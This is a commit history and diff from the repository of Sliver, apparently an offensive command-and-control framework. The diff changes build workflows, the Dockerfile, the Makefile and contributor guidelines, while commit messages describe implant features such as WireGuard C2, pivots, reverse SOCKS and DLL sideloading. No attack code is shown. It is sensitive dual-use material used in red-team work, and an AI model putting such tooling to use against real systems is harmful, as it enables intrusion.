moloch-- 809dedc98f Update macos build workflows 2021-04-11 08:53:01 -05:00
moloch-- 09b699dcdb Make protoc 755? 2021-04-11 08:47:36 -05:00
moloch-- 6965035f64 Make protoc +x? 2021-04-11 08:45:27 -05:00
moloch-- 69da0435cc Update workflows with new pb/grpc build 2021-04-11 08:39:25 -05:00
moloch-- ddcc90836e Merge remote-tracking branch 'origin/protobuf' into stage 2021-04-11 08:20:35 -05:00
moloch-- a6545161c0 updated vendor/ 2021-04-11 08:15:34 -05:00
moloch-- 3e7217ece9 Updated golang / protobuf / grpc deps 2021-04-11 08:15:25 -05:00
Ronan Kervella 5707fe7bc6 Merge pull request #389 from BishopFox/test/wireguard-c2
Add wireguard C2 tests
2021-04-10 14:38:16 +02:00
rkervella 579a82c23b Remove checkout option, no longer necessary 2021-04-10 14:02:14 +02:00
rkervella fdd0d036f2 Only scan implant and server code 2021-04-10 13:58:16 +02:00
rkervella c77a0c0615 Add wireguard C2 tests 2021-04-10 13:45:47 +02:00
Ronan Kervella c032c0839a Merge pull request #388 from BishopFox/rkervella/issue384
Fix limit related issues
2021-04-10 12:23:40 +02:00
rkervella 1d2d1c1f9d Feature --limit-fileexists is broken
Fixes #384
Fixes #385
2021-04-10 12:07:43 +02:00
Ronan Kervella 69133c1b27 Merge pull request #381 from BishopFox/wg-rpc
Fix missing net import
2021-04-10 12:00:47 +02:00
moloch-- d56de497b0 removed extra 'v' in version 2021-04-09 21:11:31 -05:00
Joe 88f72a7cbd Merge pull request #387 from BishopFox/stage
Added server-side name validation to rpc.UpdateSession
2021-04-09 15:19:14 -05:00
moloch-- cfd390b677 Added server-side name validation to rpc.UpdateSession 2021-04-09 14:44:33 -05:00
Joe 16da415f3c Merge pull request #386 from BishopFox/stage
Add CN for operator leaf cert for picky clients
2021-04-09 14:16:34 -05:00
moloch-- baab7d86c7 Add CN for operator leaf cert for picky clients 2021-04-09 13:40:14 -05:00
rkervella 343296d087 Add detailed help 2021-04-09 18:28:39 +02:00
rkervella 7a2764dc6f Update vendor 2021-04-09 16:07:32 +02:00
rkervella 95fd407b6e Reverse Socks and Portfwd through wireguard working 2021-04-09 16:06:51 +02:00
rkervella 3f3e4ee391 Don't set promiscuous mode 2021-04-08 17:59:05 +02:00
rkervella cc7c5a0e86 Add missing import for wg c2 2021-04-08 17:19:25 +02:00
rkervella cef4c280a0 Merge branch 'master' into wg-rpc 2021-04-08 17:15:47 +02:00
rkervella 5e0b8d4901 SetPromiscuous mode 2021-04-08 17:14:38 +02:00
Ronan Kervella 85afff9193 Merge pull request #379 from BishopFox/wg-rpc
Add a new RPC to generate a wireguard client configuration
2021-04-08 17:14:12 +02:00
rkervella 0364b677ca Don't import fmt when not needed 2021-04-08 16:57:35 +02:00
rkervella bb9cb861ef Add missing files 2021-04-08 16:41:21 +02:00
Joe 33ffca6a43 Merge pull request #378 from BishopFox/stage
Improved CLI UX
2021-04-08 09:38:04 -05:00
moloch-- 64ab365c03 Fix lport flag type, added echo arg to asset setup 2021-04-08 09:22:41 -05:00
rkervella 1e64de8430 Add support for hostnames 2021-04-08 16:16:48 +02:00
moloch-- 0deebe53c9 Improved cli ux 2021-04-08 09:06:56 -05:00
moloch-- f61648c62d Perform standard asset init steps on daemon mode start 2021-04-08 08:51:11 -05:00
moloch-- 2a0b9190ba Merge branch 'master' into portfwd2 2021-04-08 08:34:19 -05:00
Joe deef600aff Merge pull request #377 from BishopFox/stage
Re-add Daemon Mode to CLI
2021-04-08 08:31:54 -05:00
moloch-- 6071ac85db Non-zero exit code on daemon start failure 2021-04-08 08:17:46 -05:00
moloch-- 479e062906 updated vendor/ 2021-04-08 08:07:01 -05:00
moloch-- d218081072 updated vendor/ 2021-04-08 08:02:48 -05:00
rkervella e79b8213a5 Add GenerateWGClientConfig RPC 2021-04-08 14:52:55 +02:00
Ronan Kervella d81a647477 Merge pull request #376 from BishopFox/wg-fixes
Replace Panic calls with Errorf
2021-04-08 14:18:06 +02:00
rkervella 67e742381d add format to format string 2021-04-08 13:21:46 +02:00
rkervella a50fd655ce Handle error 2021-04-08 13:11:33 +02:00
rkervella ba8f52e07b Don't panic in case of errors 2021-04-08 13:08:51 +02:00
Joe 8930250272 Update README.md 2021-04-07 14:50:01 -05:00
moloch-- 7cc5545363 Updated vendor/ 2021-04-07 08:31:30 -05:00
moloch-- f6de8a0ddc Merged master 2021-04-07 08:30:25 -05:00
moloch-- d45abfae78 Remove unused const 2021-04-07 08:27:15 -05:00
Ronan Kervella c91bcb6f14 Merge pull request #375 from BishopFox/update-vendor
Update vendor
2021-04-07 15:26:44 +02:00
rkervella 87bbe0d10c Update vendor 2021-04-07 14:59:42 +02:00
Ronan Kervella 8e8428bd7c Merge pull request #363 from dzflack/wg-transpor-pr
Add support for wireguard transport
2021-04-07 14:56:35 +02:00
Zack Flack 1a85e397a9 move netstack package to server directory 2021-04-07 19:51:26 +08:00
Ronan Kervella 8dccad2656 Merge pull request #374 from BishopFox/rkervella/issue365
Listing enabled pivots
2021-04-07 13:24:31 +02:00
rkervella 40fd4423ae Add help and current session support 2021-04-07 12:34:24 +02:00
rkervella ea7632c7c5 Listing enabled pivots
Fixes #365
2021-04-07 12:29:41 +02:00
Zack Flack 1a4db2352f fix logging calls, improve error handling 2021-04-07 18:27:10 +08:00
Zack Flack 843ee11f73 add additional wg help, make wg callback ports configurable 2021-04-07 18:27:10 +08:00
Zack Flack 599956fc94 move wg ip logic to server/generate package and add RPC 2021-04-07 18:27:10 +08:00
Ronan Kervella 613aaba352 Merge pull request #373 from BishopFox/rkervella/issue368
ProcessList with sessionID on windows
2021-04-07 12:01:04 +02:00
rkervella 71e10e59d0 ProcessList with sessionID on windows
Fixes #368
2021-04-07 11:09:17 +02:00
moloch-- 065c0c2f23 Implemented portfwd rm and drain peeked conn 2021-04-06 09:52:34 -05:00
Ronan Kervella 1a5335ab9e Update CONTRIBUTING.md 2021-04-06 11:12:52 +02:00
moloch-- 507675ac97 Cleaner ux 2021-04-05 20:21:25 -05:00
moloch-- b3908cb6ed Added core mgmt code for proxies 2021-04-05 19:45:37 -05:00
moloch-- 0aef00efd6 Fixed write length nil value bug 2021-04-05 17:52:15 -05:00
moloch-- 5803d422f9 Mostly working 2021-04-05 16:27:10 -05:00
moloch-- 37d2f610d4 Added --remote flag 2021-04-05 15:56:27 -05:00
moloch-- 516f464b0f added implant side code and client cmds 2021-04-05 15:46:18 -05:00
moloch-- 5295e5be6f Server/client compiles ... 2021-04-05 14:35:26 -05:00
moloch-- 66e628ecf6 Outline of client-side portfwd 2021-04-05 12:29:13 -05:00
Ronan Kervella 0a4fd12bc7 Merge pull request #371 from BishopFox/fix-spawndll
Fix improper use of debug/pe
2021-04-02 09:18:00 +02:00
rkervella 476240fb02 Use pe.NewFile instead of pe.NewFileFromMemory
Force kill on sideload/spawndll for extensions
2021-04-02 08:51:20 +02:00
Joe 6b02f195ac Merge pull request #369 from BishopFox/stage
GPG Signed Releases
2021-04-01 09:10:29 -05:00
moloch-- aafd9ef827 backwards compatible file names 2021-04-01 08:18:24 -05:00
moloch-- 82b9c5f8c3 Added mkdir -p release/ 2021-04-01 08:10:57 -05:00
moloch-- 10bc6095ea updated autorelease workflow to gpg sign artifacts 2021-04-01 08:09:35 -05:00
moloch-- 55bd75c377 updated vendor/ 2021-04-01 07:49:41 -05:00
moloch-- cc6eb54844 Added gpg public key 2021-04-01 07:49:25 -05:00
Zack Flack 8ce1732e90 add fadditional comments 2021-04-01 18:21:34 +08:00
Zack Flack 85f5a11e8d fix log formatting errors 2021-03-30 19:30:32 +08:00
Zack Flack aeeccbd64d add support for wireguard transport 2021-03-30 17:59:26 +08:00
Ronan Kervella 9508092f11 Merge pull request #362 from BishopFox/kill
Rework the force flag for `kill`
2021-03-29 17:44:20 +02:00
rkervella 3ce83c049a Rework the force flag for kill 2021-03-29 17:11:52 +02:00
Ronan Kervella 8e23f3b425 Merge pull request #361 from BishopFox/rkervella/issue359
Fix for #359
2021-03-25 12:25:18 +01:00
Ronan Kervella 200573c2e8 Merge pull request #360 from BishopFox/sideload
Add keep-alive switch to sideload and spawndll
2021-03-25 12:24:57 +01:00
rkervella f41a163d3a Refactor 2021-03-25 12:03:46 +01:00
rkervella c6d7ab07d0 ps fails in linux environments using NSS
Fixes #359
2021-03-25 11:59:58 +01:00
rkervella 9d51f18670 Add keep-alive switch to sideload and spawndll 2021-03-25 11:43:55 +01:00
Joe 58a56a077f Merge pull request #356 from BishopFox/static-build
Force static build
2021-03-23 17:19:59 -05:00
rkervella 674be86f89 fix linux build 2021-03-23 14:23:04 +01:00
rkervella 7444c3d926 fix linux build 2021-03-23 14:22:33 +01:00
rkervella 606effa1b1 Force static build 2021-03-23 13:36:27 +01:00
Ronan Kervella 742ae73a12 Merge pull request #355 from BishopFox/fix/execute-assembly
Fix message type
2021-03-21 11:08:04 +01:00
rkervella 2f880d99ee Fix message type 2021-03-21 10:25:35 +01:00
Joe d836e2be17 Merge pull request #354 from BishopFox/stage
Improved Cleanup
2021-03-18 10:30:13 -05:00
moloch-- 1367d1b714 Modify go dir permissions to ensure a clean removal 2021-03-18 09:00:46 -05:00
Joe a9639b0873 Merge pull request #350 from BishopFox/registry
Add windows registry operations
2021-03-15 19:59:38 -05:00
Joe abac7067fa Merge pull request #351 from BishopFox/stage
Garble Update
2021-03-15 19:59:20 -05:00
moloch-- 53b57c8cf9 Added missing gcc 32-bit lib to github actions 2021-03-15 18:49:46 -05:00
moloch-- d86661a060 Expanded unit tests to cover linux shared library builds and windows service builds issue #348 2021-03-15 15:27:00 -05:00
moloch-- 75ee37fd2e Updated go to v1.16.2 and garble 2021-03-15 14:59:03 -05:00
rkervella 3921a192b6 Fix OpenRemoteKey 2021-03-12 14:11:47 +01:00
rkervella e77aa319bb Registry read/write/create ok 2021-03-12 13:28:56 +01:00
rkervella 375376813a Merge branch 'master' into registry 2021-03-12 10:06:41 +01:00
rkervella 743973c9a7 WIP Registry 2021-03-12 08:52:05 +01:00
Joe 9beb445a3d Merge pull request #347 from tututu-patch/master
Fix cannot find 'nm'
2021-03-11 08:30:42 -06:00
rkervella ce8cc8ce1d WIP registry operations 2021-03-11 14:32:53 +01:00
突突兔 6259c2aa30 Fix cannot find 'nm'
https://github.com/BishopFox/sliver/wiki/Stagers

I encountered this error when generating stagers. I located this location through the log and the environment variable was not added, which resulted in the nm not being found.

^[[36mINFO^[[0m[2021-03-11T02:50:45+01:00] [sliver/server/gogo/go.go:203] --- stdout ---

^[[36mINFO^[[0m[2021-03-11T02:50:45+01:00] [sliver/server/gogo/go.go:204] --- stderr ---
# runtime/cgo
collect2: fatal error: cannot find 'nm'
compilation terminated.
2021-03-11 09:59:43 +08:00
moloch-- 5dc2882ae2 Added a 'go mod vendor' call to Dockerfile to avoid misaligned vendor/ 2021-03-08 08:07:28 -06:00
Ronan Kervella f456a256aa Merge pull request #344 from BishopFox/go-donut
Go donut
2021-03-08 13:32:18 +01:00
2885 changed files with 3083781 additions and 53247 deletions

No files matched your search

+15 -21
View File
@@ -1,27 +1,21 @@
assets/*.zip
assets/darwin
assets/linux
assets/windows
/server/assets/fs/**.zip
server/assets/fs/**.zip
/*.sdk.tar.xz
sliver-server
sliver-server.exe
/sliver-server
/sliver-server.exe
sliver-client
sliver-client.exe
/sliver-client
/sliver-client.exe
gui/
gui/*
/.vscode/
/.vscode/*
.vscode/
.vscode/*
/.github/
/.github/*
.github/
.github/*
build.py
LICENSE
SECURITY.md
README.md
CONTRIBUTING.md
/build.py
/LICENSE
/SECURITY.md
/README.md
/CONTRIBUTING.md
+4 -1
View File
@@ -2,4 +2,7 @@ name: "CodeQL Security Checks"
queries:
- name: Security and Quality
uses: security-extended
uses: security-extended
paths:
- server
- implant
+57 -70
View File
@@ -2,8 +2,8 @@ name: Release
on:
push:
tags: v[1-9]+.[0-9]+.[0-9]+
branches: master
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master, goreleaser]
jobs:
@@ -11,35 +11,19 @@ jobs:
name: Linux & Windows Build
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
- name: Protoc
env:
PROTOC_VER: 3.11.4
run: |
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
- name: Protoc-gen-go
env:
PROTOC_GEN_GO_VER: 1.3.5
run: |
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
&& tar xvf protoc-gen-go.tar.gz \
&& cd protobuf-${PROTOC_GEN_GO_VER} \
&& make install
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v2
@@ -49,11 +33,10 @@ jobs:
- name: Go Assets
run: ./go-assets.sh
- name: Remove Vendor
run: rm -rf ./vendor/
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
@@ -63,7 +46,11 @@ jobs:
path: ./sliver-*
- name: Make Windows
run: export PATH=/home/runner/go/bin/:$PATH && make windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v2
@@ -75,33 +62,17 @@ jobs:
name: MacOS Build
if: startsWith( github.ref, 'refs/tags/v')
runs-on: macos-latest
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
- name: Protoc
env:
PROTOC_VER: 3.11.4
run: |
wget -O protoc-${PROTOC_VER}-osx-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-osx-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-osx-x86_64.zip \
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
- name: Protoc-gen-go
env:
PROTOC_GEN_GO_VER: 1.3.5
run: |
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
&& tar xvf protoc-gen-go.tar.gz \
&& cd protobuf-${PROTOC_GEN_GO_VER} \
&& make install
- name: Check out code into the Go module directory
uses: actions/checkout@v2
@@ -111,14 +82,15 @@ jobs:
- name: Go Assets
run: ./go-assets.sh
- name: Remove Vendor
run: rm -rf ./vendor/
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
# - name: Make ARM64
# run: make macos-arm64
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
@@ -133,41 +105,56 @@ jobs:
name: "Tagged Release"
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- run: mkdir -p ./release && mkdir -p ./artifacts
- run: mkdir -p ./builds
- uses: actions/download-artifact@v2
with:
path: ./artifacts
path: ./builds
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
# Linux
- name: Package Linux
- name: Linux AMD64
run: |
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Windows
- name: Package Windows
- name: Windows AMD64
run: |
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# MacOS AMD64
- name: Package MacOS AMD64
- name: MacOS AMD64
run: |
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
# - name: Package MacOS ARM64
# run: |
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: false
prerelease: true
files: |
./release/*.zip
./artifacts/*
+10 -17
View File
@@ -13,15 +13,15 @@ jobs:
name: CodeQL Security Scan
# CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
# Setup go environment
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: "^1.17"
- name: Checkout repository
uses: actions/checkout@v2
with:
@@ -31,13 +31,7 @@ jobs:
if: ${{ github.event_name == 'pull_request' }}
fetch-depth: 2
# If this run was triggered by a pull request event then checkout
# the head of the pull request instead of the merge commit.
# Only include this step if you are running this workflow on pull requests.
- run: git checkout HEAD^2
if: ${{ github.event_name == 'pull_request' }}
- name: OS Packages
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
@@ -66,19 +60,18 @@ jobs:
- name: Go Assets
run: ./go-assets.sh
- name: Remove Vendor
run: rm -rf ./vendor/
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v1
with:
config-file: ./.github/codeql/codeql-config.yml
languages: go
languages: go
# Build the server ... is this necessary though?
- run: |
make linux
make
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v1
uses: github/codeql-action/analyze@v1
env:
VERSION: ${{github.sha}}
+7 -45
View File
@@ -12,35 +12,19 @@ jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
- name: Protoc
env:
PROTOC_VER: 3.11.4
run: |
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
- name: Protoc-gen-go
env:
PROTOC_GEN_GO_VER: 1.3.5
run: |
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
&& tar xvf protoc-gen-go.tar.gz \
&& cd protobuf-${PROTOC_GEN_GO_VER} \
&& make install
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v2
@@ -51,9 +35,6 @@ jobs:
- name: Go Assets
run: ./go-assets.sh
- name: Remove Vendor
run: rm -rf ./vendor/
- name: Make
run: make linux
@@ -66,33 +47,17 @@ jobs:
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
- name: Protoc
env:
PROTOC_VER: 3.11.4
run: |
wget -O protoc-${PROTOC_VER}-osx-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-osx-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-osx-x86_64.zip \
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
- name: Protoc-gen-go
env:
PROTOC_GEN_GO_VER: 1.3.5
run: |
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
&& tar xvf protoc-gen-go.tar.gz \
&& cd protobuf-${PROTOC_GEN_GO_VER} \
&& make install
- name: Check out code into the Go module directory
uses: actions/checkout@v2
@@ -102,9 +67,6 @@ jobs:
- name: Go Assets
run: ./go-assets.sh
- name: Remove Vendor
run: rm -rf ./vendor/
- name: Make
run: make macos
+16 -16
View File
@@ -1,23 +1,23 @@
.vscode/*
.devcontainer
/.vscode/*
/.devcontainer
/.idea
release-*
/Dockerfile.*
/*.sdk.tar.xz
# Generated by makefile
client/version/version.go
server/assets/version.go
/release-*
# Diffs
*.orig
# Binaries
sliver-server
sliver-server_arm64
sliver.exe
/sliver-server
/sliver-server_arm64
/sliver.exe
sliver-client
sliver-client_arm64
sliver-client.exe
/sliver-client
/sliver-client_arm64
/sliver-client.exe
sliver-server-linux.zip
sliver-server-macos.zip
@@ -31,14 +31,14 @@ sliver-server-windows.zip
*.dylib
# Test binary, build with `go test -c`
*.test
/*.test
# Output of the go coverage tool, specifically when used with LiteIDE
*.out
/*.out
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
.glide/
*.pb.go
.DS_Store
dist/
+3 -1
View File
@@ -13,6 +13,7 @@ Contributing to Sliver
* Any changes to `vendor/` should be in a distinct commit
* Avoid use of `CGO` (limits cross-platform support)
* Avoid use of empty interfaces
* Never import anything from the `server` package in the `client` package.
## Security
@@ -23,9 +24,10 @@ Contributing to Sliver
* _Never_ use homegrown or non-peer reviewed encryption or random number generation algorithms.
* Whenever possible, use the following algorithms/encryption modes:
- AES-GCM-256
- RSA-OAEP-2048 / RSA-OAEP-4096
- SHA2-256 / HMAC-SHA2-256 or higher (e.g. SHA2-384)
- Curves P521, P384, P256
- Curve25519, XSalsa20, and Poly1305 (Nacl)
- ChaCha20Poly1305
* _Never_ use the following in a security context, and _avoid_ use even in a non-security context:
- MD5
- SHA1
+17 -15
View File
@@ -1,4 +1,4 @@
FROM golang:1.16
FROM golang:1.17.8
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,8 +6,9 @@ FROM golang:1.16
# a Docker deployment this is probably a good place to start.
#
ENV PROTOC_VER 3.11.4
ENV PROTOC_GEN_GO_VER 1.3.5
ENV PROTOC_VER 3.17.1
ENV PROTOC_GEN_GO_VER v1.26.0
ENV GRPC_GO v1.1.0
# Base packages
RUN apt-get update --fix-missing && apt-get -y install \
@@ -20,7 +21,7 @@ RUN apt-get update --fix-missing && apt-get -y install \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm
nasm gcc-multilib
#
# > User
@@ -31,7 +32,6 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
#
# > Metasploit
#
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
@@ -42,27 +42,29 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
# > Sliver
#
# protoc
# Protoc
WORKDIR /tmp
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& cp -vv ./bin/protoc /usr/local/bin
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
RUN wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
&& tar xvf protoc-gen-go.tar.gz \
&& cd protobuf-${PROTOC_GEN_GO_VER} \
&& make install
# assets
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN make linux && cp -vv sliver-server /opt/sliver-server
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
RUN ls -lah && /opt/sliver-server unpack --force \
&& /go/src/github.com/bishopfox/sliver/go-tests.sh
# Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# Clean up
RUN make clean \
&& rm -rf /go/src/* \
&& rm -rf /home/sliver/.sliver
+94 -61
View File
@@ -3,36 +3,51 @@
#
GO ?= go
ENV = CGO_ENABLED=1
TAGS = -tags osusergo,netgo,sqlite_omit_load_extension
#
# Version Information
#
GO_VERSION = $(shell $(GO) version)
VERSION = $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
PKG = github.com/bishopfox/sliver/client/version
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
LDFLAGS = -ldflags "-s -w \
-X $(PKG).Version=$(VERSION) \
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
-X $(PKG).CompiledAt=$(COMPILED_AT) \
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(PKG).GitCommit=$(GIT_COMMIT) \
-X $(PKG).GitDirty=$(GIT_DIRTY)"
ARTIFACT_SUFFIX ?=
ENV =
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
#
# Prerequisites
#
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = protoc protoc-gen-go uname sed git zip go date
EXECUTABLES = uname sed git zip date cut $(GO)
K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
#
# Version Information
#
GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 17
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
LDFLAGS = -ldflags "-s -w \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
SED_INPLACE := sed -i
STATIC_TARGET := linux
@@ -41,69 +56,91 @@ UNAME_P := $(shell uname -p)
# If the target is Windows from Linux/Darwin, check for mingw
CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
ifneq (,$(findstring cgosqlite,$(TAGS)))
ENV +=CGO_ENABLED=1
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
